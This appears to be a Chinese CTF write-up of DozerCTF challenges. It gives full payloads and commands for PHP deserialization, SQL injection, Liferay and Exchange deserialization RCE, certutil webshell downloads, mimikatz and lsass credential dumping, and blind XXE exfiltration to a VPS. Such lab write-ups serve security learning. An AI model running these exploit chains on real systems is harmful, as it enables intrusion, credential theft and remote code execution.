本文首發於Leon的Blog,如需轉載請注明原地址並聯系作者
真·簽到
下載下來是一個exe,打不開,拖進winhex發現:
R00yVE1NWlRIRTJFRU5CWUdVM1RNUlJURzRaVEtOUllHNFpUTU9CV0lJM0RRTlJXRzQ0VE9OSlhHWTJET05aUkc1QVRPTUJUR0kyRUVNWlZHNDNUS05aWEc0MlRHTkpaR1pBVElNUldHNDNUT05KVUc0M0RPTUJXR0kyRUtOU0ZHTTRUT09CVUc0M0VFPT09Cgo=
base64解碼后:
GM2TMMZTHE2EENBYGU3TMRRTG4ZTKNRYG4ZTMOBWII3DQNRWG44TONJXGY2DONZRG5ATOMBTGI2EEMZVG43TKNZXG42TGNJZGZATIMRWG43TONJUG43DOMBWGI2EKNSFGM4TOOBUG43EE===
只有大寫字母和數字應該是base32,解碼后:
3563394B48576F37356873686B686679757647717A70324B3577577753596A426777547670624E6E3978476B
一般base32完是十六進制:
5c9KHWo75hshkhfyuvGqzp2K5wWwSYjBgwTvpbNn9xGk
由於Base58采用的字符集合為“123456789abcdefghijkmnopqrstuvwxyzABCDEFGHJKLMNPQRSTUVWXYZ”,從這不難看出,Base58是純數字與字母組成而且去掉了容易引起視覺混淆的字符(0:數字零,O:大寫O,I:大寫i,l:小寫L)。9個數字+49個字母=58個。
所以猜測是base58:
Dozerctf{base_family_is_so_good}
白給的反序列化
入門反序列化題
源碼:
<?php
class home
{
private $method;
private $args;
function __construct($method, $args)
{
$this->method = $method;
$this->args = $args;
}
function __destruct()
{
if (in_array($this->method, array("mysys"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}
function mysys($path)
{
print_r(base64_encode(exec("cat $path")));
}
function waf($str)
{
if (strlen($str) > 8) {
die("No");
}
return $str;
}
function __wakeup()
{
$num = 0;
foreach ($this->args as $k => $v) {
$this->args[$k] = $this->waf(trim($v));
$num += 1;
if ($num > 2) {
die("No");
}
}
}
}
if ($_GET['path']) {
$path = @$_GET['path'];
unserialize($path);
} else {
highlight_file(__FILE__);
}
?>
poc:
<?php
//poc
class home
{
private $method;
private $args;
function __construct($method, $args)
{
$this->method = $method;
$this->args = $args;
}
function __destruct()
{
if (in_array($this->method, array("mysys"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}
function mysys($path)
{
print_r(base64_encode(exec("cat $path")));
}
function waf($str)
{
if (strlen($str) > 8) {
die("No");
}
return $str;
}
function __wakeup()
{
$num = 0;
foreach ($this->args as $k => $v) {
$this->args[$k] = $this->waf(trim($v));
$num += 1;
if ($num > 2) {
die("No");
}
}
}
}
$poc = new home("mysys",array("flag.php"));
$a = urlencode(serialize($poc));
print_r($a);
serialize($a);
?>
payload:
?path=O%3A4%3A%22home%22%3A2%3A%7Bs%3A12%3A%22%00home%00method%22%3Bs%3A5%3A%22mysys%22%3Bs%3A10%3A%22%00home%00args%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A8%3A%22flag.php%22%3B%7D%7D
得到:PD9waHAgJGZsYWcgPSAnZmxhZ3tqNG5jOTIwZm04YjJ6MHIybWM3ZHNmODdzNjc4NWE2NzVzYTc3NnZkfSc7Pz4=
base64:<?php $flag = 'flag{j4nc920fm8b2z0r2mc7dsf87s6785a675sa776vd}';?>
sqli-labs 0
根據hint將接下來sql注入的語句全部用url二次編碼就行
id=1' # 單引號注入,select被過濾,根據經驗直接堆疊
1';show databases;#
1';show tables;#
1';show columns from
uziuzi;#
1';handler uziuzi open;handler uziuzi read first;#
回顯得到flagflag{594cb6af684ad354b4a59ac496473990}
簡單域滲透-flag1
利用CVE-2020-7961命令執行
參考:Liferay Portal Json Web Service 反序列化漏洞(CVE-2020-7961)
CVE-2020-7961 Liferay Portal 反序列化RCE分析
漏洞說明
這題入門漏洞很容易找到,而且網上復現的文章挺多
該洞是個反序列化導致的rce,通過未授權訪問其api傳遞json數據進行反序列化達到加載外部惡意class進而命令執行
影響范圍
Liferay Portal 6.1.X
Liferay Portal 6.2.X
Liferay Portal 7.0.X
Liferay Portal 7.1.X
Liferay Portal 7.2.X
環境搭建
liferay-portal下載帶tomcat的集成版,進入到liferay-ce-portal-7.2.0-ga1\tomcat-9.0.17\bin
目錄,執行:.\catalina.bat run
等待一會就啟動了,訪問8080端口即可
漏洞復現
LifExp.java文件:
public class LifExp {
static {
try {
String[] cmd = {"cmd.exe", "/c", "calc.exe"};
java.lang.Runtime.getRuntime().
exec(cmd).waitFor();
} catch ( Exception e ) {
e.printStackTrace();
}
}
}
- 將LifExp.java放在vps上,因為需要靶機能訪問到,使用
javac LifExp.java
生成LifExp.class
- 要構造payload還需要一個包:marshalsec-0.0.3-SNAPSHOT-all.jar
我放到藍奏雲上了,有需要自行下載 - 使用
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Jackson C3P0WrapperConnPool http://ip:port/ LifExp
生成序列化內容(這里的ip是你提供惡意class的vps)
- 在vps上使用
python3 -m http.server 8500
在當前目錄啟動端口8500的web服務 - 用bp發包:
POST /api/jsonws/invoke HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 1349
Content-Type: application/x-www-form-urlencoded
Connection: close
cmd=%7B%22%2Fexpandocolumn%2Fadd-column%22%3A%7B%7D%7D&p_auth=o3lt8q1F&formDate=1585270368703&tableId=1&name=2&type=3&defaultData%3Acom.mchange.v2.c3p0.WrapperConnectionPoolDataSource={"userOverridesAsString":"HexAsciiSerializedMap:aced00057372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e00014c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f72797400124c6a6176612f6c616e672f537472696e673b4c0014636c617373466163746f72794c6f636174696f6e71007e00074c0009636c6173734e616d6571007e00077870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a70707070707070707070787400064c6966457870740019687474703a2f2f35392e3131302e3135372e343a383530302f740003466f6f;"}
- 將
WrapperConnectionPoolDataSource=
后面的內容換成marshalsec
生成的序列化內容
成功彈出計算器,(計算器也很無奈)
利用certutil進行遠程下載webshell
- certutil和bitsadmin都可以進行遠程http請求,本地用:
certutil.exe -urlcache -split -f "http://ip:8500/leon.txt“ leon.txt
bitsadmin /rawreturn /transfer down 'http://ip:8500/leon.txt' D:\leon.txt
都可以成功遠程下載文件
- 在
LifExp.java
中需要構造一下:
String[] cmd = {"cmd.exe", "/c", "certutil.exe -urlcache -split -f", "http://ip:8500/cmdcmd.jsp", "..\\webapps\\ROOT\\cmdcmd.jsp"};
cmdcmd.jsp是webshell,經過本地測試執行命令的當前路徑在liferay-ce-portal-7.2.0-ga1\tomcat-9.0.17\bin
所以需要目錄穿越到index.jsp的文件夾,(這里智障了,以為java不能直接訪問到沒有進行目錄映射的jsp,就一直沒寫文件到這個目錄)
- 然后一樣的步驟,生成class文件,post包發過去,就成功在index.jsp目錄寫入了webshell,蟻劍直接連接即可(有些webshell蟻劍不能連)
flag在桌面C:/Users/root/Desktop/flag.txt
Dozerctf{a993e8ce377e05b2cbfa460e43e43757}
- 方便后續操作可以寫個jsp反彈shell
簡單域滲透-flag2
先進行簡單信息收集,列出域信任關系:
nltest /domain_trusts
環境為單域,查看ip信息,一般dns服務器就是dc:
ipconfig /all
:
C:\Users\root>ipconfig /all
Windows IP ����
������ . . . . . . . . . . . . . : Dozer-dmz01
�� DNS �� . . . . . . . . . . . : dozer.org
�ڵ����� . . . . . . . . . . . . : ���
IP ·�������� . . . . . . . . . . : ��
WINS ���������� . . . . . . . . . : ��
DNS �������б� . . . . . . . . : dozer.org
��̫�������� Ethernet0:
�����ض��� DNS �� . . . . . . . :
����. . . . . . . . . . . . . . . : Intel(R) 82574L ǧ����������
�����ַ. . . . . . . . . . . . . : 00-0C-29-20-FC-D5
DHCP ������ . . . . . . . . . . . : ��
�Զ�����������. . . . . . . . . . : ��
�������� IPv6 ��ַ. . . . . . . . : fe80::956d:4a99:42e5:44e6%12(��ѡ)
IPv4 ��ַ . . . . . . . . . . . . : 10.10.10.2(��ѡ)
�������� . . . . . . . . . . . . : 255.255.255.0
Ĭ������. . . . . . . . . . . . . :
DHCPv6 IAID . . . . . . . . . . . : 251661353
DHCPv6 �ͻ��� DUID . . . . . . . : 00-01-00-01-26-49-C3-BF-00-0C-29-20-FC-D5
DNS ������ . . . . . . . . . . . : 10.10.10.3
TCPIP �ϵ� NetBIOS . . . . . . . : ������
��̫�������� Ethernet1:
�����ض��� DNS �� . . . . . . . :
����. . . . . . . . . . . . . . . : Intel(R) 82574L ǧ���������� #2
�����ַ. . . . . . . . . . . . . : 00-0C-29-20-FC-DF
DHCP ������ . . . . . . . . . . . : ��
�Զ�����������. . . . . . . . . . : ��
�������� IPv6 ��ַ. . . . . . . . : fe80::d543:1779:2299:609%15(��ѡ)
IPv4 ��ַ . . . . . . . . . . . . : 192.168.150.73(��ѡ)
�������� . . . . . . . . . . . . : 255.255.255.0
�����Լ��ʱ�� . . . . . . . . . : 2020��6��14�� 23:42:47
��Լ���ڵ�ʱ�� . . . . . . . . . : 2020��6��17�� 23:42:54
Ĭ������. . . . . . . . . . . . . : 192.168.150.200
DHCP ������ . . . . . . . . . . . : 192.168.150.200
DHCPv6 IAID . . . . . . . . . . . : 352324649
DHCPv6 �ͻ��� DUID . . . . . . . : 00-01-00-01-26-49-C3-BF-00-0C-29-20-FC-D5
DNS ������ . . . . . . . . . . . : 192.168.150.200
TCPIP �ϵ� NetBIOS . . . . . . . : ������
��������� isatap.{CFE9BA1B-E288-4FFB-9749-199C2D5515CE}:
ý��״̬ . . . . . . . . . . . . : ý���ѶϿ�
�����ض��� DNS �� . . . . . . . :
����. . . . . . . . . . . . . . . : Microsoft ISATAP Adapter #2
�����ַ. . . . . . . . . . . . . : 00-00-00-00-00-00-00-E0
DHCP ������ . . . . . . . . . . . : ��
�Զ�����������. . . . . . . . . . : ��
��������� isatap.{2D498A64-8D75-4BA5-964D-611E32EF20B3}:
�����ض��� DNS �� . . . . . . . :
����. . . . . . . . . . . . . . . : Microsoft ISATAP Adapter #4
�����ַ. . . . . . . . . . . . . : 00-00-00-00-00-00-00-E0
DHCP ������ . . . . . . . . . . . : ��
�Զ�����������. . . . . . . . . . : ��
�������� IPv6 ��ַ. . . . . . . . : fe80::5efe:192.168.150.73%17(��ѡ)
Ĭ������. . . . . . . . . . . . . :
DNS ������ . . . . . . . . . . . : 192.168.150.200
TCPIP �ϵ� NetBIOS . . . . . . . : �ѽ���
可以看到幾個兩個網段,根據經驗,一個192.168.150.x
應該是宿主機所在ip段,不用管,所以另外的10.10.10.x
段應該是虛擬機內部網段
10.10.10.2
是本機,所以一般DNS服務器10.10.10.3
就是DC
獲取本機hash
先下載mimikatz
reg save hklm\sam sam
reg save hklm\system system
然后下載到本地使用mimikatz:
得到root也就是當前用戶密碼:P@ssw0rd
- 直接嘗試
netstat -na
發現3389端口開啟,嘗試用root用戶登錄
首先得進行內網代理,使用reGeorg
即可
登錄成功:
轉儲內存抓域憑證:
根據提示使用使用微軟官方procdump.exe dump內存:
直接使用certutil.exe -urlcache -split -f "http://ip:8500/procdump64.exe“ procdump64.exe
即可
然后procdump64.exe -accepteula -ma lsass.exe lsass.dmp
然后執行:
mimikatz # sekurlsa::minidump lsass.dmp
Switch to MINIDUMP : 'lsass.dmp'
mimikatz # sekurlsa::logonPasswords full
Opening : 'lsass.dmp' file for minidump...
Authentication Id : 0 ; 78250732 (00000000:04aa02ec)
Session : RemoteInteractive from 5
User Name : root
Domain : DOZER-DMZ01
Logon Server : DOZER-DMZ01
Logon Time : 2020/6/16 12:47:35
SID : S-1-5-21-1495210691-4001662545-2502461571-1001
msv :
[00000003] Primary
* Username : root
* Domain : DOZER-DMZ01
* LM : 921988ba001dc8e14a3b108f3fa6cb6d
* NTLM : e19ccf75ee54e06b06a5907af13cef42
* SHA1 : 9131834cf4378828626b1beccaa5dea2c46f9b63
tspkg :
* Username : root
* Domain : DOZER-DMZ01
* Password : P@ssw0rd
wdigest :
* Username : root
* Domain : DOZER-DMZ01
* Password : P@ssw0rd
kerberos :
* Username : root
* Domain : DOZER-DMZ01
* Password : P@ssw0rd
ssp :
credman :
[00000000]
* Username : dozer\shark
* Domain : dozer-dc.dozer.org
* Password : P@ssword
Authentication Id : 0 ; 78236002 (00000000:04a9c962)
Session : Interactive from 5
User Name : DWM-5
Domain : Window Manager
Logon Server : (null)
Logon Time : 2020/6/16 12:47:32
SID : S-1-5-90-5
msv :
[00000003] Primary
* Username : DOZER-DMZ01$
* Domain : DOZER
* NTLM : 0aede09a6722cd9c04eb892f5af27068
* SHA1 : e668a6f212e2c5c8780685436732bb3d64a4e7f0
tspkg :
* Username : DOZER-DMZ01$
* Domain : DOZER
* Password : eJ,e!-IVYX_2h %jR+pHL(vNi4kj=PqFY ywV-KX7l=`'oL^-S'h(6q+CzlU0F=>#)+OQ-wzUsk.;ciPQVa!Gtv"]oCNt"dJba<L6D2VT.\e8bhFd^O@O$+i
wdigest :
* Username : DOZER-DMZ01$
* Domain : DOZER
* Password : eJ,e!-IVYX_2h %jR+pHL(vNi4kj=PqFY ywV-KX7l=`'oL^-S'h(6q+CzlU0F=>#)+OQ-wzUsk.;ciPQVa!Gtv"]oCNt"dJba<L6D2VT.\e8bhFd^O@O$+i
kerberos :
* Username : DOZER-DMZ01$
* Domain : dozer.org
* Password : eJ,e!-IVYX_2h %jR+pHL(vNi4kj=PqFY ywV-KX7l=`'oL^-S'h(6q+CzlU0F=>#)+OQ-wzUsk.;ciPQVa!Gtv"]oCNt"dJba<L6D2VT.\e8bhFd^O@O$+i
ssp :
credman :
Authentication Id : 0 ; 77940254 (00000000:04a5461e)
Session : Interactive from 0
User Name : shark
Domain : DOZER
Logon Server : DOZER-DC
Logon Time : 2020/6/16 12:45:28
SID : S-1-5-21-341825-3789073605-4250195040-1109
msv :
[00000003] Primary
* Username : shark
* Domain : DOZER
* LM : 921988ba001dc8e14a3b108f3fa6cb6d
* NTLM : e19ccf75ee54e06b06a5907af13cef42
* SHA1 : 9131834cf4378828626b1beccaa5dea2c46f9b63
tspkg :
* Username : shark
* Domain : DOZER
* Password : P@ssw0rd
wdigest :
* Username : shark
* Domain : DOZER
* Password : P@ssw0rd
kerberos :
* Username : shark
* Domain : DOZER.ORG
* Password : P@ssw0rd
ssp :
credman :
發現shark
用戶的密碼也是P@ssw0rd
(其實可以直接操作這步拿root密碼)
使用dsquery導出域信息
dsquery * /s 10.10.10.3 /u shark /p P@ssw0rd -attr * -limit 0 > leon.txt
得到:leon
根據提示搜索找到flag2:Dozerctf{3fed7db7fee7a1771b58d309bf9ca851}
簡單域滲透-flag3
根據提示和拿到的域信息,找到EXCHANGE SERVERS
組:
cn: DOZER-EXCHANGE
distinguishedName: CN=DOZER-EXCHANGE,CN=Computers,DC=dozer,DC=org
instanceType: 4
whenCreated: 05/13/2020 15:06:52
whenChanged: 06/13/2020 09:49:14
displayName: DOZER-EXCHANGE$
uSNCreated: 16419
memberOf: CN=Exchange Install Domain Servers,CN=Microsoft Exchange System Objects,DC=dozer,DC=org
memberOf: CN=Managed Availability Servers,OU=Microsoft Exchange Security Groups,DC=dozer,DC=org
memberOf: CN=Exchange Trusted Subsystem,OU=Microsoft Exchange Security Groups,DC=dozer,DC=org
memberOf: CN=Exchange Servers,OU=Microsoft Exchange Security Groups,DC=dozer,DC=org
uSNChanged: 71171
name: DOZER-EXCHANGE
objectGUID: {E650C9C8-43EC-4B65-BD74-657ECD951421}
userAccountControl: 4096
得知提供EXCHANGE
郵箱服務的機器名為DOZER-EXCHANGE
- 可以使用
ping
或者nslookup
機器名得到ip:
所以定位到10.10.10.4
使用用戶名dozer\shark
,密碼P@ssw0rd
登錄,拿到flag3:
Dozerctf{9b35c916c37b00f3359d49b6c9c99667}
簡單域滲透-flag4
根據EXCHANGE
的漏洞,搜索找到CVE-2020-0688
參考:CVE-2020-0688 exchange遠程代碼執行漏洞復現
ExchangeServer漏洞CVE-2020-0688復現
簡單復現
我們需要四個參數:
–validationkey = CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF(默認,漏洞產生原因)
–validationalg = SHA1(默認,漏洞產生原因)
–generator=B97B4E27(基本默認)
–viewstateuserkey = ASP.NET_SessionId(手工獲取,變量,每次登陸都不一致)
前兩個值都是默認的,我們只需要找到后兩個值即可
獲取viewstateuserkey
登錄后訪問 /ecp/default.aspx
,F12
打開開發者工具欄,打開Network
:
viewstateuserkey位於:default.aspx–>Headers–>ASP.NET_SessionId
中:
重新發送請求即可找到:
獲取generator值
源碼搜索__VIEWSTATEGENERATOR獲取字段值:(這個值基本上也是相同的)
使用ysoserial.exe
生成序列化payload
:
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "cmd.exe /c certutil.exe -urlcache -split -f http://ip/test.exe" --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --generator="B97B4E27" --viewstateuserkey="247061cc-fb54-4d4e-bb66-233ffc8e3848" --isdebug -islegacy
獲得shell
這里寫一個msf馬,因為這台機器沒有殺軟
payload
:
https://ip/ecp/default.aspx?__VIEWSTATEGENERATOR=B97B4E27&__VIEWSTAT
E=<ViewState>
將<ViewState>
替換為ysoserial.exe
生成的序列化內容並進行url編碼:
即圖中紅框位置
訪問獲得shell,flag在桌面:Dozerctf{1193173239563ee49664b5e500f687ba}
簡單域滲透-flag5
持續更新ing
svgggggg!
這題是一個盲打XXE
打SSRF
,關於SVG圖片的漏洞可以參考:
Anatomy of Scalable Vector Graphics (SVG) Attack Surface on the Web
SVG,代表可擴展矢量圖形是一種基於 XML 的矢量圖像格式,用於二維圖形,支持交互性和動畫。SVG 圖像及其行為在 XML 文本文件中定義。可以使用任何文本編輯器以及繪圖軟件創建和編輯它們。所有主要的現代 Web 瀏覽器都有 SVG 渲染支持。
簡單測試了一下發現沒有回顯,需要外帶信息
在vps上構造惡意svg和xml:
xxx.svg
:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY % int SYSTEM "http://ip:8500/a.xml">
%int;
%all;
%send;
]>
<svg height="100" width="1000">
<text x="10" y="20">&send;</text>
</svg>
a.xml
:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/home/r1ck/.bash_history">
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://ip:8500/?%file;'>">
根據提示拿到用戶r1ck
的操作記錄:
cd /app
php -S 0.0.0.0:8080
可以看到在8080端口有web服務,由於靶機是內網穿透出來的,所以我們不能直接訪問到8080端口,只能利用xxe打ssrf
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=http://127.0.0.1:8080/">
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://59.110.157.4:8500/?%file;'>">
得到:
<!doctype html>
<html>
<head>
<meta charset="UTF-8">
<title>index</title>
</head>
Hi!
You Find Me .
Flag is nearby.
<body>
</body>
</html>
Array
(
[id] => 1
[name] => test
)
發現是個sql注入,嘗試注入發現列數為2,然后根據提示寫shell
要進行url編碼
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=http://127.0.0.1:8080/?id=1%27%20union%20select%201,%27%3c?php%20system($%5fGET%5bcmd%5d)%3b?%3e%27%20into%20outfile%27/app/leon.php%27%23">
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://ip:8500/?%file;'>">
shell語句部分也可以進行hex編碼:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=http://127.0.0.1:8080/?id=1%27%20union%20select%201,0x3c3f7068702073797374656d28245f4745545b636d645d293b3f3e%20into%20outfile%27/app/leon.php%27%23">
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://ip:8500/?%file;'>">
寫進去后直接利用即可:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=http://127.0.0.1:8080/leon.php?cmd=ls">
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://ip:8500/?%file;'>">
看到flag文件直接cat拿到flag